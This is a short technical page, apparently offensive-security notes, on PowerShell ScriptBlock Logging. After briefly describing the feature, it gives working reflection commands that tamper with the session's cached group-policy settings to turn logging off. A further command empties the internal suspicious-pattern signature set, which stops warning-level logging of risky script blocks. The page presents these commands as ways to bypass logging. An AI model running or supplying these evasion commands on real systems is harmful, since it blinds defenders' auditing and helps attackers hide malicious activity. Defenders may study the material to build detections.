ScriptBlockLogging

Overview

ScriptBlock Logging is a feature that allows you to track and log the execution of script blocks in your PowerShell environment. This feature is designed to help with security auditing and troubleshooting by providing detailed information about what script blocks were executed, who executed them, and when they were executed.

ScriptBlockLogging is enabled through the group policies settings. PowerShell will then query the group policy settings each time it sees and PowerShell ScriptBlock execution to determine if it should be logged. This will be cached in the PowerShell session so that it only queries the group policies settings once.

We can thus disable these settings by simply changing the values.

View the cachedGroupPolicySettings within PowerShell session

To view the current cached settings:

[ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static').GetValue($null)

Disabling ScriptBlockLogging

To disable the ScriptBlockLogging:

$settings = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static').GetValue($null)
$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"] = @{}
$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"].Add("EnableScriptBlockLogging", "0")

Suspicious ScriptBlock Logging (Warning level)

In PowerShell, suspicious ScriptBlock logging events may be generated when potentially risky or malicious actions are detected in script blocks that are executed in the PowerShell environment. These events are typically logged at the Warning level and may indicate the presence of a security threat or other issue that requires further investigation.

[Ref].Assembly.GetType("System.Management.Automation.ScriptBlock").GetField("signatures","NonPublic,static").GetValue($null)

Disabling Suspicious Warning Logging

Even with ScriptBlockLogging disabled, PowerShell will still log suspicious ScriptBlock.

To bypass this you will need to set the signatures to empty

$signatures = [Ref].Assembly.GetType("System.Management.Automation.ScriptBlock").GetField("signatures","NonPublic,static")
$signatures.SetValue($null, (New-Object Collections.Generic.HashSet[string]))